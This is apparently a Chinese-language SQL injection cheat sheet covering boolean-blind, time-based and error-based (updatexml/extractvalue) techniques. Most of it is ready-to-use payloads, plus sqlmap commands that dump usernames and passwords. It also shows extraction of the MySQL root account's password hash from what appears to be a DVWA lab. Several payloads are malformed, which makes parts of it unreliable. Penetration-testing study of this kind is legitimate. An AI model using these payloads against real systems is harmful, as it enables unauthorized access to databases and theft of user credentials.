死在山野的风里,活在自由的梦里
用于页面中不会显示数据库信息,只显示对与错的内容
比如输入“1”,提示“存在用户”,不能使用联合注入,要用burp的重放器
1.获取数据库名
id=1'and if(length(database())>1,1,0)--+
把database())>1改成database())>4,发现返回错误,就可以确定数据库名字长度为4
id=1'and if(substring(database(),1,1)='a',1,0)--+
database(),1,1)=‘a’,1,0) 改成 database(),&1&,1)=‘&a&’,1,0) 得到库名
2.获取表名
id=1'and if(substring((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)1,1)='a',1,0--+
limit 1)1,1)=‘a’,1,0–+ 改成 limit 1)&1&,1)=‘&a&’,1,0–+ 得到第一个表
limit 1)&1&,1)=‘&a&’,1,0–+ 改成 limit 1,1)&1&,1)=‘&a&’,1,0–+ 得到第二个表
3.获取表的内容
id=1'and if(substring((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' and TABLE_SCHEMA=database() limit 0,1)1,1)='a',1,0--+
limit 0,1)1,1)=‘a’,1,0–+ 改成 limit 0,1)&1&,1)=‘&a&’,1,0–+ 得到第一个列
limit 0,1)&1&,1)=‘&a&’,1,0–+ 改成 limit 1,1)&1&,1)=‘&a&’,1,0–+ 得到第二个列
4.获取账号密码
id=1'and if(substring((select CONCAT(user,0x3a,PASSWORD) from users limit 0,1)1,1)='a',1,0--+
limit 0,1)1,1)=‘a’,1,0 改成 limit 0,1)&1&,1)=‘&a&’,1,0 得到账号密码
用Windows OS' and 1=1# Windows OS' and 1=2# 页面都正常
用 Windows OS' and sleep(2)# 页面延迟2s返回
注入时,需要用命令,不要用软件,软件太慢
test.txt是在注入登录成功的同时用burp得到的数据包
//查数据库名
sqlmap -r test.txt --current -db
//查数据库clover里面的表
sqlmap -r test.txt -D 'clover' -tables
//查数据库clover里面的表users的内容
sqlmap -r test.txt -D 'clover' -T 'users' -columns
//查看username和password的信息
sqlmap -r test.txt -D 'clover' -T 'users' -C 'username,password' –dump
原理是利用两个函数,第二个参数如果不是xpath格式,是sql语句就会报错
updatexml():从目标XML中更改包含所查询值的字符串
第一个参数:XML_document 是String格式,为XML文档对象的名称,文中为DOC
第二个参数:XPath_string(Xpath格式字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
updatexml(XML_document,XPath_String,new_value);
'or updatexml(1,concat(0x7e,database()),0)or'
extractvalue():从目标XML中返回包含所查询值的字符串
第一个参数:XML_document 是String格式,为XML文档对象的名称,文中为DOC
第二个参数:XPath_String (Xpath格式字符串,Xpath是一种查找语法)
extractvalue(XML_document,XPath_String)
' or extractvalue(1,concat(0x7e,database())) or'
' union select 1,extractvalue(1,concat(0x7e,(select version())))%23
1.获取数据库名
id=1'and info()--+
页面显示“FUNCTION dvwa.info 不存在”,数据库名字是dvwa
2.查看当前用户
id=1'and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+
页面显示“ XPATH 语法错误:‘root@localhost’ “,当前用户为root
3.获取当前账号的密码
id=1' and (authentication_string from mysql.user limit 1)--+
id=1' and (updatexml(1,concat(0x7e,(select(select authentication_string from mysql.user limit 1)),0x7e),1))--+
用authentication只能查前32个字母
页面显示 " XPATH 语法错误:‘~*6BB4837EB74329105EE4568DDA7DC6’ "
id=1'and (updatexml(1,concat(0x7e,(select(substring((select
authentication_string from mysql.user limit 1),32,40))),0x7e),1))--+
页面显示 " XPATH 语法错误:‘7ED2CA2AD9’ ",得到后半部分的密码